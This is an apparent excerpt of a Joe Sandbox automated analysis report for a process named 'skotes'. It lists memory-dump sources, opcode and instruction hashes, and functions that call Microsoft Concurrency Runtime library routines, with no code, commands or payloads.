Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e542665c5784c31efd77d53c125384aab19d08d10287995e7163cdee479d0f41
Instruction ID: deaec44738f62ac3ef6ae5c40d10093b12f502ff21d89b22d1206108b54e2ad2
Opcode Fuzzy Hash: e542665c5784c31efd77d53c125384aab19d08d10287995e7163cdee479d0f41
Instruction Fuzzy Hash: 50D0923204010DBBDF129E85DC42EDA7BAAFB48714F018100BE1866060C772F831EB94

Function 04C401D9 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82385e619077076c0c94478a532256d8c7a426809529abb4d64109f45a4e43a6
Instruction ID: c7b75b67d912e1e99554ced567a20ba80ef6ee8a6cf0f21249c66ce53713ce9e
Opcode Fuzzy Hash: 82385e619077076c0c94478a532256d8c7a426809529abb4d64109f45a4e43a6
Instruction Fuzzy Hash: 16310AF728D140BFA61289936B249F63F3FE6D2730338846BF502CA547F295594AA271

Function 04C40240 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ffd46845ee360d538720879c78f94b19f3041b710452237a20055243a234c20
Instruction ID: cf1f5e55f59f3d73886b77e7c15163ca091020857f47d69c9d5942ae6b14067b
Opcode Fuzzy Hash: 0ffd46845ee360d538720879c78f94b19f3041b710452237a20055243a234c20
Instruction Fuzzy Hash: 3621A1EB28C014BEB51184936F24EFB2B6FE1C1730335C46AF546D6546E2949E4A6170

Function 04C40204 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cc8d2b35fc2acf26731af975f705cdc015e456b5d2777fb313c889dd14abe9
Instruction ID: 5c148d2d9a7bfb91daace65109552a3764dabf4bea9f3451fd3f663a8194687a
Opcode Fuzzy Hash: e1cc8d2b35fc2acf26731af975f705cdc015e456b5d2777fb313c889dd14abe9
Instruction Fuzzy Hash: D321A1FB28C114BFB61284832F24EFB2B2FE5C1730334C46AF546C6146E2988E496271

Function 04C40256 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b064c10b4e8e245eef51a1cc7351b89be3c175ff9ec2b9f2add34aa3be0b03a
Instruction ID: f683f7a7215f7d4cd222edafb192a1a762ddcd5b15cc933b38e1459655f0cc2f
Opcode Fuzzy Hash: 2b064c10b4e8e245eef51a1cc7351b89be3c175ff9ec2b9f2add34aa3be0b03a
Instruction Fuzzy Hash: 0E11D3FB38C110BFB15185832B149FA7B6FE6C2730334C83AF502C6446E2995E4E6131

Function 04C40273 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd076ecddc57e8a170711f2645eee8e189d1ebf4eae56cf517aef388d81dd74e
Instruction ID: ab1b465a2df639ae92c687a25f9751c7c97202f900cb64b245ed299f359d3b42
Opcode Fuzzy Hash: bd076ecddc57e8a170711f2645eee8e189d1ebf4eae56cf517aef388d81dd74e
Instruction Fuzzy Hash: 71012DFB38C014BE711285932F24EFA6B2EE6C1730338C87AF546D6546E2D95E5E6131

Function 04C4028F Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b98c64bbdfcf3f1a0734d5ea448d5c900508289fb0f8fe9a4982d9136002ebe
Instruction ID: 2aeb23e48f3b0fb5674c6fbcc65371fbfff4c2c56b3e12e9832ca5b4679b24e4
Opcode Fuzzy Hash: 2b98c64bbdfcf3f1a0734d5ea448d5c900508289fb0f8fe9a4982d9136002ebe
Instruction Fuzzy Hash: C8016DBB28C110BFB15185932B18AFA6B6FE6C2730334C43AF502C6446E2E85A4E6130

Function 04C402BF Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c689524a322e620ae763eb476f87c40fc468fdba0a73fc063e076648df44b7f
Instruction ID: eb5a5c2c018d750222a7693c784b70a1d829c1c97cdfa6ef0efd5190309ade07
Opcode Fuzzy Hash: 6c689524a322e620ae763eb476f87c40fc468fdba0a73fc063e076648df44b7f
Instruction Fuzzy Hash: 5301A2AB28C014AF611184932B18EBB6A6FF5D5730374887AF143D6142E2E85A0D5134

Function 04C402C6 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ddd7df3cfeaecf65d2b48ffb7953b54dcef359fc3126505d516a570cdf170d
Instruction ID: db3f9cc0fece50bf0f0caecb8c865b430cc09536ff87823fd4064d477ce20b40
Opcode Fuzzy Hash: 93ddd7df3cfeaecf65d2b48ffb7953b54dcef359fc3126505d516a570cdf170d
Instruction Fuzzy Hash: B001D6BB28C510AFA20149A32B249FB6F7BF5D2730334887AF043C7152E6E88A0D5130

Function 04C4035F Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 084f7049cf9a46e571be14965f15ba43cdbe3bb3f36a482d09fcd8988e67d00a
Instruction ID: 1a508e3b1ce5af23e91835642297722b2755a4743aba9a0a3c25f728e5684188
Opcode Fuzzy Hash: 084f7049cf9a46e571be14965f15ba43cdbe3bb3f36a482d09fcd8988e67d00a
Instruction Fuzzy Hash: 4DE06DAB6CC014AE616180932B18BF7AF2EF6D5B30378C867F206C6842F1885B4E7030

Function 04C4030C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2969419779.0000000004C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c40000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 388d6f33545c01f27b4aacb3ee2f8d70409010e382fa5a5bdb73e522f905c1c9
Instruction ID: b90711838d94019509fe4eaa65eae59ac80aa210240c76c856c5de2457e2157f
Opcode Fuzzy Hash: 388d6f33545c01f27b4aacb3ee2f8d70409010e382fa5a5bdb73e522f905c1c9
Instruction Fuzzy Hash: 3FE04FAB68C014AEA15285833B19ABB6F3EF5C5730378C83BF10AC2001E5984A1DA170

Non-executed Functions

Function 00920E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00920F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00920F62

Part of subcall function 0092265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00922750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00920FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00920FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0092103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0092106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009210C1

Strings

(, xrefs: 00920F22

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 754ef57c496e296c87f8bb70736b7b15a2cf3778a684909ec618389b3313644e
Instruction ID: eee4ea38a4430d9ee15991c92aaf787372e2c3dccd287d53c62ef879f7d3ceb6
Opcode Fuzzy Hash: 754ef57c496e296c87f8bb70736b7b15a2cf3778a684909ec618389b3313644e
Instruction Fuzzy Hash: 87B17E71A44625EFDB28CF68E990B7EB7B4FF84300F15416EE905AB259D330AD90CB90

Function 00921602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00922CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00922D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00921614

Part of subcall function 00922E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00922E39
Part of subcall function 00922E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00922EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00921746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 009217A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 009217B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 009217ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0092180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0092181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00921823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0092183B

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: cdf2b98b2db94d178a81a8dbad0129178b506ff1b497e147a5d1954335545cfa
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 38818C71E00226AFCB18DFA8D580A6DB7F5FF98304B2546ADD445AB709C730ED62CB84

Function 0092EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0092EC81

Part of subcall function 00928F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00928F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0092ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0092ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0092ED0C

Part of subcall function 0092E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0092E7D7
Part of subcall function 0092E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0092E86F
Part of subcall function 0092E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0092E879
Part of subcall function 0092E7AF: Concurrency::location::_Assign.LIBCMT ref: 0092E8AD
Part of subcall function 0092E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0092E8B5

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
